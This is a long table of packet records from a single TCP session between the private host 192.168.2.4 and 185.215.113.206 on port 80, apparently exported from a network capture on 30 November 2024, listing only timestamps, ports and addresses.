Nov 30, 2024 09:44:23.928595066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.928633928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.930211067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.930222034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.930253983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.931830883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.931840897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.931888103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.952989101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.953171015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.953341007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.953392982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.954068899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.954114914 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.954813004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.954859018 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.955600023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.955610991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.955638885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.955674887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.957068920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.957077980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.957108974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.957123995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.960072041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.960082054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.960123062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.961466074 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.961476088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.961513042 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.963135958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.963146925 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.963182926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.964757919 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.964768887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.964806080 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.968031883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.968041897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.968053102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.968091011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.968120098 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.969671965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.969682932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.969722986 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.969739914 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.971323967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.971338034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.971366882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.971380949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.972954035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.972982883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.973022938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.974682093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.974731922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.976205111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.976219893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.976262093 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.976273060 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.977865934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.977876902 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.977929115 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.979502916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.979512930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.979581118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.981142998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.981153965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.981189013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.981203079 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.982817888 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.982829094 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.982858896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.982877016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.984400988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.984453917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.986067057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.986077070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.986112118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.987693071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.987703085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.987741947 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.989317894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.989330053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.989339113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.989365101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.989387035 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.990983963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.990997076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.991046906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.992628098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.992669106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.016447067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.016509056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.016794920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.016844988 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.017586946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.017636061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.018234968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.018306017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.086154938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.086165905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.086232901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.087618113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.087627888 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.087667942 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.087698936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.089301109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.089310884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.089320898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.089344025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.089360952 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.090836048 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.090883017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.091603994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.091614008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.091655016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.093242884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.093287945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.094786882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.094804049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.094841003 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.096461058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.096472025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.096509933 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.096538067 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.098088980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.098100901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.098153114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.099745989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.099757910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.099800110 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.101378918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.101388931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.101398945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.101439953 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.101455927 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.103037119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.103049040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.103090048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.104645014 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.104656935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.104691982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.104721069 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.106287956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.106300116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.106339931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.107919931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.107930899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.107940912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.107970953 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.107992887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.109555006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.109565020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.109608889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.109656096 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.111195087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.111206055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.111253023 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.112807989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.112826109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.112871885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.112903118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.114461899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.114471912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.114531994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.116128922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.116141081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.116175890 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.116206884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.117763042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.117774963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.117805958 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.117818117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.119271040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.119282961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.119308949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.119321108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.120793104 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.120810986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.120821953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.120834112 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.120858908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.122317076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.122339964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.122360945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.122389078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.123846054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.123857021 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.123909950 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.125370979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.125382900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.125417948 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.125454903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.126885891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.126895905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.126936913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.126950979 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.128401995 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.128412008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.128421068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.128449917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.128475904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.129908085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.129920006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.129966974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.154378891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.154453039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.154609919 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.154658079 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.155292988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.155345917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.155986071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.156043053 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.156692982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.156708002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.156742096 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.156763077 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.157852888 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.157907009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.158571959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.158582926 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.158623934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.158633947 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.159928083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.159940958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.159976959 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.159995079 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.161324024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.161334991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.161384106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.161403894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.162837029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.162848949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.162894011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.164061069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.164072037 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.164120913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.165419102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.165430069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.165471077 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.166945934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.166956902 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.167001963 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.168450117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.168467999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.168519974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.168545008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.169961929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.169980049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.170013905 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.170027971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.171524048 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.171534061 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.171542883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.171571016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.171644926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.173033953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.173044920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.173085928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.173101902 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.174565077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.174576044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.174628973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.176088095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.176104069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.176142931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.177603006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.177629948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.177669048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.177823067 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.179125071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.179136038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.179146051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.179172993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.179200888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.180622101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.180641890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.180676937 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.180687904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.182171106 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.182183981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.182225943 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.183689117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.183701038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.183744907 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.185229063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.185240030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.185276985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.185303926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.237505913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.237559080 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.237804890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.237853050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.238009930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.238054991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.238698959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.238746881 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.239409924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.239422083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.239460945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.240755081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.240803003 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.241388083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.241455078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.286803007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.286860943 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.287151098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.287199974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.287844896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.287856102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.287897110 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.289197922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.289247036 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.289865971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.289916992 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.290585041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.290595055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.290637970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.291950941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.291960955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.292009115 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.292032957 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.293328047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.293338060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.293376923 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.294790983 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.294801950 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.294837952 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.296063900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.296076059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.296118975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.297435045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.297447920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.297517061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.298841000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.298852921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.298892021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.300347090 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.300359011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.300394058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.300420046 CET	49749	80	192.168.2.4	185.215.113.206
